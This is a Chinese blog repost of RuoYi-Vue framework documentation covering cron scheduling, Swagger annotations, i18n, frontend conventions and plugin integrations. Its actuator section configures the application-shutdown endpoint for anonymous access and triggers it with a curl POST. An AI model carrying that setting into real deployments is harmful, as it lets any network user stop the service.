任务名称:自定义,如:定时查询任务状态
任务分组:根据字典sys_job_group
配置
调用目标字符串:设置后台任务方法名称参数
执行表达式:可查询官方cron
表达式介绍
执行策略:定时任务自定义执行策略
并发执行:是否需要多个任务间同时执行
状态:是否启动定时任务
备注:定时任务描述信息
3、点击执行一次,测试定时任务是否正常及调度日志是否正确记录,如正常执行表示任务配置成功。
执行策略详解:立即执行
(所有misfire
的任务会马上执行)打个比方,如果9点misfire
了,在10:15系统恢复之后,9点,10点的misfire
会马上执行执行一次
(会合并部分的misfire
,正常执行下一个周期的任务)假设9,10的任务都misfire
了,系统在10:15分起来了。只会执行一次misfire
,下次正点执行。放弃执行
(所有的misfire
不管,执行下一个周期的任务)
方法参数详解:字符串
(需要单引号''标识 如:ryTask.ryParams(’ry’)
)布尔类型
(需要true false标识 如:ryTask.ryParams(true)
)长整型
(需要L标识 如:ryTask.ryParams(2000L)
)浮点型
(需要D标识 如:ryTask.ryParams(316.50D)
)整型
(纯数字即可)
cron表达式语法:
[秒] [分] [小时] [日] [月] [周] [年]
说明 | 必填 | 允许填写的值 | 允许的通配符 |
---|---|---|---|
秒 | 是 | 0-59 | , - * / |
分 | 是 | 0-59 | , - * / |
时 | 是 | 0-23 | , - * / |
日 | 是 | 1-31 | , - * / |
月 | 是 | 1-12 / JAN-DEC | , - * ? / L W |
周 | 是 | 1-7 or SUN-SAT | , - * ? / L # |
年 | 是 | 1970-2099 | , - * / |
通配符说明:*
表示所有值。 例如:在分的字段上设置 *,表示每一分钟都会触发?
表示不指定值。使用的场景为不需要关心当前设置这个字段的值。例如:要在每月的10号触发一个操作,但不关心是周几,所以需要周位置的那个字段设置为”?” 具体设置为 0 0 0 10 * ?-
表示区间。例如 在小时上设置 “10-12”,表示 10,11,12点都会触发,
表示指定多个值,例如在周字段上设置 “MON,WED,FRI” 表示周一,周三和周五触发/
用于递增触发。如在秒上面设置”5/15” 表示从5秒开始,每增15秒触发(5,20,35,50)。 在月字段上设置’1/3’所示每月1号开始,每隔三天触发一次L
表示最后的意思。在日字段设置上,表示当月的最后一天(依据当前月份,如果是二月还会依据是否是润年[leap]), 在周字段上表示星期六,相当于”7”或”SAT”。如果在”L”前加上数字,则表示该数据的最后一个。例如在周字段上设置”6L”这样的格式,则表示“本月最后一个星期五”W
表示离指定日期的最近那个工作日(周一至周五). 例如在日字段上置”15W”,表示离每月15号最近的那个工作日触发。如果15号正好是周六,则找最近的周五(14号)触发, 如果15号是周未,则找最近的下周一(16号)触发.如果15号正好在工作日(周一至周五),则就在该天触发。如果指定格式为 “1W”,它则表示每月1号往后最近的工作日触发。如果1号正是周六,则将在3号下周一触发。(注,”W”前只能设置具体的数字,不允许区间”-“)#
序号(表示每月的第几个周几),例如在周字段上设置”6#3”表示在每月的第三个周六.注意如果指定”#5”,正好第五周没有周六,则不会触发该配置(用在母亲节和父亲节再合适不过了) ;小提示:’L’和 ‘W’可以一组合使用。如果在日字段上设置”LW”,则表示在本月的最后一个工作日触发;周字段的设置,若使用英文字母是不区分大小写的,即MON与mon相同
常用表达式例子:
表达式 | 说明 |
---|---|
0 0 2 1 * ? * | 表示在每月的1日的凌晨2点调整任务 |
0 15 10 ? * MON-FRI | 表示周一到周五每天上午10:15执行作业 |
0 15 10 ? 6L 2002-2006 | 表示2002-2006年的每个月的最后一个星期五上午10:15执行作 |
0 0 10,14,16 * * ? | 每天上午10点,下午2点,4点 |
0 0/30 9-17 * * ? | 朝九晚五工作时间内每半小时 |
0 0 12 ? * WED | 表示每个星期三中午12点 |
0 0 12 * * ? | 每天中午12点触发 |
0 15 10 ? * * | 每天上午10:15触发 |
0 15 10 * * ? | 每天上午10:15触发 |
0 15 10 * * ? * | 每天上午10:15触发 |
0 15 10 * * ? 2005 | 2005年的每天上午10:15触发 |
0 * 14 * * ? | 在每天下午2点到下午2:59期间的每1分钟触发 |
0 0/5 14 * * ? | 在每天下午2点到下午2:55期间的每5分钟触发 |
0 0/5 14,18 * * ? | 在每天下午2点到2:55期间和下午6点到6:55期间的每5分钟触发 |
0 0-5 14 * * ? | 在每天下午2点到下午2:05期间的每1分钟触发 |
0 10,44 14 ? 3 WED | 每年三月的星期三的下午2:10和2:44触发 |
0 15 10 ? * MON-FRI | 周一至周五的上午10:15触发 |
0 15 10 15 * ? | 每月15日上午10:15触发 |
0 15 10 L * ? | 每月最后一日的上午10:15触发 |
0 15 10 ? * 6L | 每月的最后一个星期五上午10:15触发 |
0 15 10 ? * 6L 2002-2005 | 2002年至2005年的每月的最后一个星期五上午10:15触发 |
0 15 10 ? * 6#3 | 每月的第三个星期五上午10:15触发 |
多模块所有定时任务的相关业务逻辑代码在ruoyi-quartz
模块,可以自行调整或剔除
十八、系统接口
在现在的开发过程中还有很大一部分公司都是以口口相传的方式来进行前后端的联调,而接口文档很大一部分都只停留在了说说而已的地步,或者写了代码再写文档。 还有一点就是文档的修改,定义好的接口并不是一成不变的,可能在开发过程中文档修改不止一次的变化,这个时候就会很难受了。 只要不是强制性要求,没人会愿意写这东西,而且在写的过程中,一个字母的错误就会导致联调时候的很大麻烦,但是通过Swagger
,我们可以省略了这一步,而且文档出错率近乎于零, 只要你在写代码的时候,稍加几个注解,文档自动生成。
1、在控制层Controller
中添加注解来描述接口信息如:
2、在方法中配置接口的标题信息
3、在系统工具-系统接口
测试相关接口
API详细说明
作用范围 | API | 使用位置 |
---|---|---|
协议集描述 | @Api | 用于controller类上 |
对象属性 | @ApiModelProperty | 用在出入参数对象的字段上 |
协议描述 | @ApiOperation | 用在controller的方法上 |
Response集 | @ApiResponses | 用在controller的方法上 |
Response | @ApiResponse | 用在 @ApiResponses里边 |
非对象参数集 | @ApiImplicitParams | 用在controller的方法上 |
非对象参数描述 | @ApiImplicitParam | 用在@ApiImplicitParams的方法里边 |
描述返回对象的意义 | @ApiModel | 用在返回对象类上 |
api
标记,用在类上,说明该类的作用。可以标记一个Controller
类做为Swagger
文档资源,使用方式:
与Controller
注解并列使用。 属性配置:
属性名称 | 备注 |
---|---|
value | url的路径值 |
tags | 如果设置这个值、value的值会被覆盖 |
description | 对api资源的描述 |
basePath | 基本路径可以不配置 |
position | 如果配置多个Api 想改变显示的顺序位置 |
produces | For example, "application/json, application/xml" |
consumes | For example, "application/json, application/xml" |
protocols | Possible values: http, https, ws, wss. |
authorizations | 高级特性认证时配置 |
hidden | 配置为true 将在文档中隐藏 |
ApiOperation
标记,用在方法上,说明方法的作用,每一个url
资源的定义,使用方式:
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
value | url的路径值 |
tags | 如果设置这个值、value的值会被覆盖 |
description | 对api资源的描述 |
basePath | 基本路径可以不配置 |
position | 如果配置多个Api 想改变显示的顺序位置 |
produces | For example, "application/json, application/xml" |
consumes | For example, "application/json, application/xml" |
protocols | Possible values: http, https, ws, wss. |
authorizations | 高级特性认证时配置 |
hidden | 配置为true将在文档中隐藏 |
response | 返回的对象 |
responseContainer | 这些对象是有效的 "List", "Set" or "Map".,其他无效 |
httpMethod | "GET", "HEAD", "POST", "PUT", "DELETE", "OPTIONS" and "PATCH" |
code | http的状态码 默认 200 |
extensions | 扩展属性 |
ApiParam
标记,请求属性,使用方式:
与Controller中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
name | 属性名称 |
value | 属性值 |
defaultValue | 默认属性值 |
allowableValues | 可以不配置 |
required | 是否属性必填 |
access | 不过多描述 |
allowMultiple | 默认为false |
hidden | 隐藏该属性 |
example | 举例子 |
ApiResponse
标记,响应配置,使用方式:
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
code | http的状态码 |
message | 描述 |
response | 默认响应类 Void |
reference | 参考ApiOperation中配置 |
responseHeaders | 参考 ResponseHeader 属性配置说明 |
responseContainer | 参考ApiOperation中配置 |
ApiResponses
标记,响应集配置,使用方式:
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
value | 多个ApiResponse配置 |
ResponseHeader
标记,响应头设置,使用方法
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
name | 响应头名称 |
description | 描述 |
response | 默认响应类 void |
responseContainer | 参考ApiOperation中配置 |
十九、防重复提交
在接口方法上添加@RepeatSubmit
注解即可,注解参数说明:
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
interval | int | 5000 | 间隔时间(ms),小于此时间视为重复提交 |
message | String | 不允许重复提交,请稍后再试 | 提示消息 |
示例1:采用默认参数
示例2:指定防重复时间和错误消息
二十、国际化支持
在我们开发WEB项目的时候,项目可能涉及到在国外部署或者应用,也有可能会有国外的用户对项目进行访问,那么在这种项目中, 为客户展现的页面或者操作的信息就需要使用不同的语言,这就是我们所说的项目国际化。 目前项目已经支持多语言国际化,接下来我们介绍如何使用。
1、后台国际化流程
1、修改I18nConfig
设置默认语言,如默认中文
:
2、修改配置application.yml
中的basename
国际化文件,默认是i18n
路径下messages
文件
(比如现在国际化文件是xx_zh_CN.properties
、xx_en_US.properties
,那么basename
配置应为是i18n/xx
3、i18n
目录文件下定义资源文件
美式英语 messages_en_US.properties
中文简体 messages_zh_CN.properties
4、java代码使用MessageUtils
获取国际化
2、前端国际化流程
1、package.json
中dependencies
节点添加vue-i18n
1
2、src
目录下创建lang目录,存放国际化文件
此处包含三个文件,分别是 index.js
zh.js
en.js
3、在src/main.js
中增量添加i18n
4、在src/store/getters.js
中添加language
15、在src/store/modules/app.js
中增量添加i18n
6、在src/components/LangSelect/index.vue
中创建汉化组件
7、登录页面汉化
二十一、新建子模块
Maven
多模块下新建子模块流程案例。
1、新建业务模块目录,例如:ruoyi-test
。
2、在ruoyi-test
业务模块下新建pom.xml
文件以及src\main\java
,src\main\resources
目录。
3、根目录pom.xml
依赖声明节点dependencies
中添加依赖
4、根目录pom.xml
模块节点modules
添加业务模块
5、ruoyi-admin
目录pom.xml
添加模块依赖
6、测试模块
在ruoyi-test
业务模块添加com.ruoyi.test
包,新建TestService.java
在ruoyi-admin
新建测试类,调用helloTest
成功返回hello
代表成功。
二十二、前端手册
1、通用方法
.1、$tab对象
$tab
对象用于做页签操作、刷新页签、关闭页签、打开页签、修改页签等,它定义在plugins/tab.js
文件中,它有如下方法
- 打开页签
- 修改页签
- 关闭页签
- 刷新页签
- 关闭所有页签
- 关闭左侧页签
- 关闭右侧页签
- 关闭其他tab页签
.2、$modal对象
$modal
对象用于做消息提示、通知提示、对话框提醒、二次确认、遮罩等,它定义在plugins/modal.js
文件中,它有如下方法
- 提供成功、警告和错误等反馈信息
- 提供成功、警告和错误等提示信息
- 提供成功、警告和错误等通知信息
- 提供确认窗体信息
- 提供遮罩层信息
.3、$auth对象
$auth
对象用于验证用户是否拥有某(些)权限或角色,它定义在plugins/auth.js
文件中,它有如下方法
- 验证用户权限
- 验证用户角色
.4、$cache对象
$cache
对象用于处理缓存。我们并不建议您直接使用sessionStorage
或localStorage
,因为项目的缓存策略可能发生变化,通过$cache
对象做一层调用代理则是一个不错的选择。$cache
提供session
和local
两种级别的缓存,如下:
对象名称 | 缓存类型 |
---|---|
session | 会话级缓存,通过sessionStorage实现 |
local | 本地级缓存,通过localStorage实现 |
示例
.5、$download对象
$download
对象用于文件下载,它定义在plugins/download.js
文件中,它有如下方法
- 根据名称下载
download
路径下的文件
- 根据名称下载
upload
路径下的文件
- 根据请求地址下载
zip
包
- 更多文件下载操作
2、开发规范
.1、新增 view
在 @/views (opens new window)文件下 创建对应的文件夹,一般性一个路由对应一个文件, 该模块下的功能就建议在本文件夹下创建一个新文件夹,各个功能模块维护自己的utils
或components
组件。
.2、新增 api
在 @/api (opens new window)文件夹下创建本模块对应的 api 服务。
.3、新增组件
在全局的 @/components (opens new window)写一些全局的组件,如富文本,各种搜索组件,封装的分页组件等等能被公用的组件。 每个页面或者模块特定的业务组件则会写在当前 @/views (opens new window)下面。
如:@/views/system/user/components/xxx.vue
。这样拆分大大减轻了维护成本。
.4、新增样式
页面的样式和组件是一个道理,全局的 @/style (opens new window)放置一下全局公用的样式,每一个页面的样式就写在当前 views
下面,请记住加上scoped
就只会作用在当前组件内了,避免造成全局的样式污染。
3、请求流程
.1、交互流程
一个完整的前端 UI 交互到服务端处理流程是这样的:
- UI 组件交互操作;
- 调用统一管理的 api service 请求函数;
- 使用封装的 request.js 发送请求;
- 获取服务端返回;
- 更新 data;
为了方便管理维护,统一的请求处理都放在 @/src/api
文件夹中,并且一般按照 model 维度进行拆分文件,如:
提示
其中,@/src/utils/request.js (opens new window)是基于 axios 的封装,便于统一处理 POST,GET 等请求参数,请求头,以及错误提示信息等。 它封装了全局 request拦截器、response拦截器、统一的错误处理、统一做了超时处理、baseURL设置等。
.2、请求示例
提示
如果有不同的baseURL
,直接通过覆盖的方式,让它具有不同的baseURL
。
4、引入依赖
除了 element-ui 组件以及脚手架内置的业务组件,有时我们还需要引入其他外部组件,这里以引入 vue-count-to (opens new window)为例进行介绍。
在终端输入下面的命令完成安装:
加上
--save
参数会自动添加依赖到 package.json 中去。
5、路由使用
框架的核心是通过路由自动生成对应导航,所以除了路由的基本配置,还需要了解框架提供了哪些配置项。
.1、路由配置
普通示例
外链示例
.2、静态路由
代表那些不需要动态判断权限的路由,如登录页、404、等通用页面,在@/router/index.js (opens new window)配置对应的公共路由。
.3、动态路由
代表那些需要根据用户动态判断权限并通过addRoutes
动态添加的页面,在@/store/modules/permission.js (opens new window)加载后端接口路由配置。
提示
- 动态路由可以在系统管理-菜单管理进行新增和修改操作,前端加载会自动请求接口获取菜单信息并转换成前端对应的路由。
- 动态路由在生产环境下会默认使用路由懒加载,实现方式参考
loadView
方法的判断。
.4、常用方法
想要跳转到不同的页面,使用router.push
方法
跳转页面并设置请求参数,使用query
属性
更多使用可以参考vue-router (opens new window)官方文档。
6、组件使用
vue 注册组件的两种方式
.1、局部注册
在对应页使用components
注册组件。
.2、全局注册
在 @/main.js (opens new window)文件下注册组件。
.3、创建使用
可以通过创建一个后缀名为vue
的文件,在通过components
进行注册即可。
例如定义一个a.vue
文件
在其他组件中导入并注册
.4、组件通信
通过props
来接收外界传递到组件内部的值
使用$emit
监听子组件触发的事件
7、权限使用
封装了一个指令权限,能简单快速的实现按钮级别的权限判断。v-permission(opens new window)
使用权限字符串 v-hasPermi
使用角色字符串 v-hasRole
提示
在某些情况下,它是不适合使用v-hasPermi,如元素标签组件,只能通过手动设置v-if。 可以使用全局权限判断函数,用法和指令 v-hasPermi 类似。
前端有了鉴权后端还需要鉴权吗?
前端的鉴权只是一个辅助功能,对于专业人员这些限制都是可以轻松绕过的,为保证服务器安全,无论前端是否进行了权限校验,后端接口都需要对会话请求再次进行权限校验!
8、多级目录
如果你的路由是多级目录,有三级路由嵌套的情况下,还需要手动在二级目录的根文件下添加一个 <router-view>
。
如:@/views/system/log/index.vue (opens new window),原则上有多少级路由嵌套就需要多少个<router-view>
。
提示
最新版本多级目录已经支持自动配置组件,无需添加<router-view>
。
9、页签缓存
由于目前 keep-alive
和 router-view
是强耦合的,而且查看文档和源码不难发现 keep-alive
的 include (opens new window)默认是优先匹配组件的 name ,所以在编写路由 router 和路由对应的 view component 的时候一定要确保 两者的 name 是完全一致的。(切记 name 命名时候尽量保证唯一性 切记不要和某些组件的命名重复了,不然会递归引用最后内存溢出等问题)
DEMO:
一定要保证两者的名字相同,切记写重或者写错。默认如果不写 name 就不会被缓存,详情见issue (opens new window)。
提示
在系统管理-菜单管理-可以配置菜单页签是否缓存,默认为缓存
10、使用图标
全局 Svg Icon 图标组件。
默认在 @/icons/index.js (opens new window)中注册到全局中,可以在项目中任意地方使用。所以图标均可在 @/icons/svg (opens new window)。可自行添加或者删除图标,所以图标都会被自动导入,无需手动操作。
.1、使用方式
.2、改变颜色
你可以改变父级的color
或者直接改变fill
的颜色即可。
提示
如果你是从 iconfont (opens new window)下载的图标,记得使用如 Sketch 等工具规范一下图标的大小问题,不然可能会造成项目中的图标大小尺寸不统一的问题。 本项目中使用的图标都是 128*128 大小规格的。
11、使用字典
字典管理是用来维护数据类型的数据,如下拉框、单选按钮、复选框、树选择的数据,方便系统管理员维护。主要功能包括:字典分类管理、字典数据管理
大于3.7.0
版本使用如下方法
1、main.js中引入全局变量和方法(已有)
2、加载数据字典,可以是多个。
3、读取数据字典
4、翻译数据字典
小于3.7.0
版本使用如下方法
1、main.js中引入全局变量和方法(已有)
2、加载数据字典
3、读取数据字典
4、翻译数据字典
12、使用参数
参数设置是提供开发人员、实施人员的动态系统配置参数,不需要去频繁修改后台配置文件,也无需重启服务器即可生效。
1、main.js中引入全局变量和方法(已有)
2、页面使用参数
13、异常处理
@/utils/request.js
是基于 axios
的封装,便于统一处理 POST,GET 等请求参数,请求头,以及错误提示信息等。它封装了全局 request拦截器
、response拦截器
、统一的错误处理
、统一做了超时处理
、baseURL设置等
。 如果有自定义错误码可以在errorCode.js
中设置对应key
value
值。
提示
如果有些不需要传递token的请求,可以设置headers
中的属性isToken
为false
14、应用路径
有些特殊情况需要部署到子路径下,例如:https://www.ruoyi.vip/admin
,可以按照下面流程修改。
1、修改vue.config.js
中的publicPath
属性
2、修改router/index.js
,添加一行base
属性
3、/index
路由添加获取子路径/admin
修改layout/components/Navbar.vue
中的location.href
修改utils/request.js
中的location.href
4、修改nginx
配置
打开浏览器,输入:https://www.ruoyi.vip/admin
能正常访问和刷新表示成功。
15、内容复制
如果要使用复制功能可以使用指令v-clipboard
,示例代码。
参数 | 说明 |
---|---|
v-clipboard:copy | 需要复制的内容 |
v-clipboard:cat | 需要剪贴的内容 |
v-clipboard:success | 复制成功处理函数 |
clipboard:error | 复制失败处理函数 |
二十三、插件集成
为了让开发者更加方便和快速的满足需求,提供了各种插件集成实现方案。
1、集成docker实现一键部署
Docker
是一个虚拟环境容器,可以将你的开发环境、代码、配置文件等一并打包到这个容器中,最终只需要一个命令即可打包发布应用到任意平台中。
1、安装docker
2、检查docker
和docker-compose
是否安装成功
3、文件授权
4、下载若依docker插件,上传到自己的服务器目录
插件相关脚本实现ruoyi-vue/集成docker实现一键部署.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
- 其中
db目录
存放ruoyi数据库脚本
- 其中
jar目录
存放打包好的jar应用文件
- 其中
conf目录
存放redis.conf
和nginx.conf
配置 - 其中
html\dist目录
存放打包好的静态页面文件 - 数据库
mysql
地址需要修改成ruoyi-mysql
- 缓存
redis
地址需要修改成ruoyi-redis
- 数据库脚本头部需要添加
SET NAMES 'utf8';
(防止乱码)
5、启动docker
6、构建docker服务
7、启动docker容器
8、访问应用地址
打开浏览器,输入:(http://localhost:80 (opens new window)),若能正确展示页面,则表明环境搭建成功。
提示
启动服务的容器docker-compose up ruoyi-mysql ruoyi-server ruoyi-nginx ruoyi-redis
停止服务的容器docker-compose stop ruoyi-mysql ruoyi-server ruoyi-nginx ruoyi-redis
2、成websocket实现实时通信
WebSocket
是一种通信协议,可在单个TCP
连接上进行全双工通信。WebSocket
使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在WebSocket API
中,浏览器和服务器只需要完成一次握手,两者之间就可以建立持久性的连接,并进行双向数据传输。
1、ruoyi-framework/pom.xml
文件添加websocket
依赖。
2、配置匿名访问(可选)
3、下载插件相关包和代码实现覆盖到工程中
提示
插件相关包和代码实现ruoyi-vue/集成websocket实现实时通信.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
4、测试验证
如果要测试验证可以把websocket.vue
内容复制到login.vue
,点击连接发送消息测试返回结果。
3、集成atomikos实现分布式事务
在一些复杂的应用开发中,一个应用可能会涉及到连接多个数据源,所谓多数据源这里就定义为至少连接两个及以上的数据库了。 对于这种多数据的应用中,数据源就是一种典型的分布式场景,因此系统在多个数据源间的数据操作必须做好事务控制。在SpringBoot
的官网推荐我们使用Atomikos (opens new window)。 当然分布式事务的作用并不仅仅应用于多数据源。例如:在做数据插入的时候往一个kafka
消息队列写消息,如果信息很重要同样需要保证分布式数据的一致性。
若依框架已经通过Druid
实现了多数据源切换,但是Spring
开启事务后会维护一个ConnectionHolder,保证在整个事务下,都是用同一个数据库连接。所以我们需要Atomikos
解决多数据源事务的一致性问题
1、ruoyi-framework/pom.xml
文件添加atomikos
依赖。
2、下载插件相关包和代码实现覆盖到工程中
提示
插件相关包和代码实现ruoyi/集成atomikos实现分布式事务.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
3、测试验证
加入多数据源,如果不会使用可以参考多数据源实现。
对应需要操作多数据源方法加入@Transactional
测试一致性,例如。
到此我们项目多个数据源的事务控制生效了
4、使用undertow来替代tomcat容器
SpingBoot
中我们既可以使用Tomcat
作为Http
服务,也可以用Undertow
来代替。Undertow
在高并发业务场景中,性能优于Tomcat
。所以,如果我们的系统是高并发请求,不妨使用一下Undertow
,你会发现你的系统性能会得到很大的提升。
1、ruoyi-framework\pom.xml
模块修改web容器依赖,使用undertow来替代tomcat容器
2、修改application.yml
,使用undertow来替代tomcat容器
3、修改文件上传工具类FileUploadUtils.java
5、集成actuator实现优雅关闭应用
优雅停机主要应用在版本更新的时候,为了等待正在工作的线程全部执行完毕,然后再停止。我们可以使用SpringBoot
提供的Actuator
1、pom.xml
中引入actuator
依赖
2、配置文件中endpoint
开启shutdown
3、在SecurityConfig
中设置httpSecurity
配置匿名访问
4、Post
请求测试验证优雅停机 curl -X POST http://localhost:8080/monitor/shutdown
6、集成aj-captcha实现滑块验证码
集成以AJ-Captcha
滑块验证码为例,不需要键盘手动输入,极大优化了传统验证码用户体验不佳的问题。目前对外提供两种类型的验证码,其中包含滑动拼图、文字点选。
1、ruoyi-framework\pom.xml
添加依赖
2、修改application.yml
,加入aj-captcha
配置
同时在ruoyi-admin\src\main\resources\META-INF\services
下创建com.anji.captcha.service.CaptchaCacheService文件同时设置文件内容为
1
3、在SecurityConfig中设置httpSecurity配置匿名访问
1
4、修改相关类
可以移除不需要的类
修改ruoyi-admin\com\ruoyi\web\controller\system\SysLoginController.java
修改ruoyi-framework\com\ruoyi\framework\web\service\SysLoginService.java
新增 ruoyi-framework\com\ruoyi\framework\web\service\CaptchaRedisService.java
5、添加滑动验证码插件到ruoyi-ui
下载前端插件相关包和代码实现ruoyi-vue/集成滑动验证码.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
7、集成sharding-jdbc实现分库分表
sharding-jdbc
是由当当捐入给apache
的一款分布式数据库中间件,支持垂直分库、垂直分表、水平分库、水平分表、读写分离、分布式事务和高可用等相关功能。
1、ruoyi-framework\pom.xml
模块添加sharding-jdbc整合依赖
2、创建两个测试数据库
3、创建两个测试订单表
4、配置文件application-druid.yml
添加测试数据源
5、下载插件相关包和代码实现覆盖到工程中
提示
下载插件相关包和代码实现ruoyi/集成sharding-jdbc实现分库分表.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
6、测试验证
访问http://localhost/order/add/1
入库到ry-order2
访问http://localhost/order/add/2
入库到ry-order1
同时根据订单号order_id % 2
入库到sys_order_0
或者sys_order_1
8、集成mybatisplus实现mybatis增强
Mybatis-Plus
是在Mybatis
的基础上进行扩展,只做增强不做改变,可以兼容Mybatis
原生的特性。同时支持通用CRUD操作、多种主键策略、分页、性能分析、全局拦截等。极大帮助我们简化开发工作。
RuoYi-Vue
集成Mybatis-Plus
完整项目参考https://gitee.com/JavaLionLi/RuoYi-Vue-Plus (opens new window)。
1、ruoyi-common\pom.xml
模块添加整合依赖
2、ruoyi-admin
文件application.yml
,修改mybatis配置为mybatis-plus
3、添加Mybatis Plus
配置MybatisPlusConfig.java
。 PS:原来的MyBatisConfig.java
需要删除掉
4、添加测试表和菜单信息
5、新增测试代码验证 新增 ruoyi-system\com\ruoyi\system\controller\SysStudentController.java
新增 ruoyi-system\com\ruoyi\system\domain\SysStudent.java
新增 ruoyi-system\com\ruoyi\system\mapper\SysStudentMapper.java
新增 ruoyi-system\com\ruoyi\system\service\ISysStudentService.java
新增 ruoyi-system\com\ruoyi\system\service\impl\SysStudentServiceImpl.java
新增 ruoyi-ui\src\views\system\student\index.vue
新增 ruoyi-ui\src\api\system\student.js
6、登录系统测试学生菜单增删改查功能。
9、集成easyexcel实现excel表格增强
如果默认的excel
注解已经满足不了你的需求,可以使用excel
的增强解决方案easyexcel
,它是阿里巴巴开源的一个excel
处理框架,使用简单、功能特性多、以节省内存著称。
1、ruoyi-common\pom.xml
模块添加整合依赖
2、ExcelUtil.java
新增easyexcel
导出导入方法
3、模拟测试,以操作日志为例,修改相关类。
SysOperlogController.java改为exportEasyExcel
SysOperLog.java修改为@ExcelProperty
注解
添加字符串翻译内容
ruoyi-system\com\ruoyi\system\domain\read\BusiTypeStringNumberConverter.java
ruoyi-system\com\ruoyi\system\domain\read\OperTypeConverter.java
ruoyi-system\com\ruoyi\system\domain\read\StatusConverter.java
4、登录系统,进入系统管理-日志管理-操作日志-执行导出功能
10、集成knife4j实现swagger文档增强
如果不习惯使用swagger
可以使用前端UI
的增强解决方案knife4j
,对比swagger
相比有以下优势,友好界面,离线文档,接口排序,安全控制,在线调试,文档清晰,注解增强,容易上手。
1、ruoyi-admin\pom.xml
模块添加整合依赖
2、修改ry-ui\views\tool\swagger\index.vue
跳转地址
3、登录系统,访问菜单系统工具/系统接口,出现如下图表示成功。
提示
引用knife4j-spring-boot-starter
依赖,项目中的swagger
依赖可以删除。
11、集成redisson实现redis分布式锁
Redisson
是Redis
官方推荐的Java
版的Redis
客户端。它提供的功能非常多,也非常强大,此处我们只用它的分布式锁功能。
1、引入依赖
2、添加工具类RedisLock.java
3、新增配置RedissonConfig.java
4、使用方式
12、集成ip2region实现离线IP地址定位
离线IP地址定位库主要用于内网或想减少对外访问http
带来的资源消耗。(代码已兼容支持jar包部署)
1、引入依赖
2、添加工具类RegionUtil.java
3、修改AddressUtils.java
4、添加离线IP地址库插件
下载前端插件相关包和代码实现ruoyi/集成ip2region离线地址定位.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
5、添加离线IP地址库
在src/main/resources
下新建ip2region
复制文件ip2region.db
到目录下。
13、集成jsencrypt实现密码加密传输方式
目前登录接口密码是明文传输,如果安全性有要求,可以调整成加密方式传输。参考如下
1、修改前端login.js
对密码进行rsa
加密。
2、工具类sign
包下添加RsaUtils.java
,用于RSA
加密解密。
3、登录方法SysLoginService.java
,对密码进行rsa
解密。
访问 http://localhost/login (opens new window)登录页面。提交时检查密码是否为加密传输,且后台也能正常解密。
14、集成druid实现数据库密码加密功能
数据库密码直接写在配置中,对运维安全来说,是一个很大的挑战。可以使用Druid
为此提供一种数据库密码加密的手段ConfigFilter
。项目已经集成druid
所以只需按要求配置即可。
1、执行命令加密数据库密码
password
输入你的数据库密码,输出的是加密后的结果。
2、配置数据源,提示Druid
数据源需要对数据库密码进行解密。
3、DruidProperties
配置connectProperties
属性
4、启动应用程序测试验证加密结果
提示
如若忘记密码可以使用工具类解密(传入生成的公钥+密码)
二十四、项目扩展
1、后台扩展
项目扩展
用于收集来自基于RuoYi (opens new window)的插件集成或完整项目,由开发者自己维护。如果你有自己或喜欢的项目想出现在列表中,可以发送仓库地址到我的邮箱346039442@qq.com
..
2、前台扩展
名称 | 说明 | 地址 |
---|---|---|
Hplus | Hplus(4.1.0后台主题UI框架) | https://pan.baidu.com/s/1cpDPD39OjF7IVSmPrmE_oA |
inspinia | inspinia(2.7.1后台主题UI框架汉化版) | https://pan.baidu.com/s/1KI4UPf0DFRs0dZW49-05fQ (提取码: nmju) |
inspinia | inspinia(2.8后台主题bootstrap4.1) | https://pan.baidu.com/s/1wUR7GmjEfe8NsQJ5geaQbw |
Distpicker | Distpicker(v2.0.4省市联动三级下拉框) | https://pan.baidu.com/s/1kGCWkUx7nsikcKt8oXj4gQ |
二十五、组件文档
系统使用到的相关组件
基础框架组件
vue-element-admin(opens new window)
树形选择组件
vue-treeselect(opens new window)
富文本编辑器
表格分页组件
富文本组件
工具栏右侧组件
right-toolbar(opens new window)
图片上传组件
image-upload(opens new window)
图片预览组件
image-preview(opens new window)
文件上传组件
表单设计组件
form-generator(opens new window)
数据字典组件
vue-data-dict(opens new window)
任务表达式组件
__EOF__

本文链接:https://www.cnblogs.com/sugeek/articles/16629674.html
关于博主:编程菜鸟一只,希望每个今天胜过昨天,一步步走向技术的高峰!
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
· 写一个简单的SQL生成工具